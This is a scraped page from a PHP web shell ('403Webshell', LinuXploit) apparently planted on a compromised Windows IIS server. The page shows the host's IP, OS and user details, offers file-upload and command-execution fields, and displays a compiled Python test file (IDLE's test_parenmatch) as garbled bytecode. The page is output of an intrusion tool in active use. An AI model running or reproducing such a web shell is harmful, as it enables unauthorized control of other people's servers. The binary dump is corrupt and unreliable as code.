403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.164
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/idlelib/idle_test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/idlelib/idle_test/__pycache__/test_parenmatch.cpython-313.pyc
�

��iH���SrSSKJr SSKJr \"S5 SSKrSSKJr SSKJ	r	J
r
 "SS	5r"S
S\R5r
\S:Xa\R"S
S9 gg)z�Test parenmatch, coverage 91%.

This must currently be a gui test because ParenMatch methods use
several text methods not defined on idlelib.idle_test.mock_tk.Text.
�)�
ParenMatch)�requires�guiN)�Mock)�Tk�Textc��\rSrSrSrSrg)�DummyEditwin�c�:�XlSUlSUlSUlg)N�z>>>)�text�indentwidth�tabwidth�prompt_last_line)�selfrs  �6C:\Python313\\Lib\idlelib\idle_test\test_parenmatch.py�__init__�DummyEditwin.__init__s���	������
� %���)rrrrN)�__name__�
__module__�__qualname__�__firstlineno__r�__static_attributes__�rrr
r
s��&rr
c�R�\rSrSr\S5r\S5rSrSrSr	Sr
SrS	rg
)�ParenMatchTest�c���[5UlURR5 [UR5Ul[UR5Ul[5URlg�N)	r�root�withdrawrrr
�editwinr�
text_frame��clss r�
setUpClass�ParenMatchTest.setUpClasssH���4�������������>���"�3�8�8�,���!%�����rc�x�U?U?URR5 URR	5 U?gr!)rr$r"�update_idletasks�destroyr&s r�
tearDownClass�ParenMatchTest.tearDownClass!s0���H�c�k����!�!�#��������Hrc�<�URRSS5 g)N�1.0�end)r�delete)rs r�tearDown�ParenMatchTest.tearDown(s���	�	�����&rc�@�[UR5nSUlU$)Nc��gr!rrrr�<lambda>�/ParenMatchTest.get_parenmatch.<locals>.<lambda>-s��$r)rr$�bell�r�pms  r�get_parenmatch�ParenMatchTest.get_parenmatch+s��
����
%������	rc�&�URnUR5nSGH[up4nURUS9 URSS5 X2lURSS5 UR
S5 URSUR55 US	:Xa"URURS
S5S5 URURS
S5U5 URSS5 UR5 URSUR55 URURS
S5S
5 URS5 URURS
S5U5 SSS5 GM^ g!,(df   GMq=f)z"
Test ParenMatch with each style.
))�opener��1.10z1.11r@)�defaultr@r@)�parens)z1.14�1.15)rD�1.16)�
expression)rArD)rArE)�styler0r1�insertzdef foobar(a, b�eventz<<parenmatch-check-restore>>rC�parenr@�)rN)rr<�subTestr2�STYLErH�flash_paren_event�assertIn�
event_info�assertTupleEqual�
tag_nextrange�
tag_prevrange�
restore_event�assertNotIn�assertEqual�paren_closed_event)rrr;rG�range1�range2s      r�test_paren_styles� ParenMatchTest.test_paren_styles0sa���y�y��
�
 �
 �
"��&D�!�E�6�
���E��*����E�5�)� �����H�&7�8��$�$�W�-��
�
�<�d�o�o�>O�P��H�$��)�)�$�*<�*<�W�e�*L�*:�<��%�%��*�*�7�E�:�F�D����H�c�*�� � �"�� � �!?�!%���!2�4�� � ��!3�!3�G�U�!C�R�H��%�%�g�.��%�%��*�*�7�E�:�F�D�)+�*�&D�
+�*�s�D=F�
F	c�0�URnUR5nURSS5 URS5 URSS5 UR	S5 URS5 URSS5 URS5 g)z�
Test corner cases in flash_paren_event and paren_closed_event.

Force execution of conditional expressions and alternate paths.
rHz# Comment.)rIz
defz	 a, *arg)N)rr<rHrWrN)rrr;s   r�test_paren_corner� ParenMatchTest.test_paren_cornerRs}���y�y��
�
 �
 �
"�����H�m�,�
���g�&����H�g�&�
���W�%�
���g�&����H�k�*�
���g�&rc�N�UR5n[5UlURS5 UR	URR
5 URR
5 URS5 URURR
5 g)Nr�)r<rrT�handle_restore_timer�
assertTrue�called�
reset_mock�assertFalser:s  r�test_handle_restore_timer�(ParenMatchTest.test_handle_restore_timeresz��
�
 �
 �
"���6���
����"�����(�(�/�/�0�
���#�#�%�
����"�����)�)�0�0�1rrN)
rrrr�classmethodr(r-r3r<rZr]rfrrrrrrsC���(��(�����'��
 D�D'�&2rr�__main__�)�	verbosity)�__doc__�idlelib.parenmatchr�test.supportr�unittest�
unittest.mockr�tkinterrrr
�TestCaserr�mainrrr�<module>rts\���
*�!�������&�&�U2�X�&�&�U2�p�z���M�M�A��r

Youez - 2016 - github.com/yon3zu
LinuXploit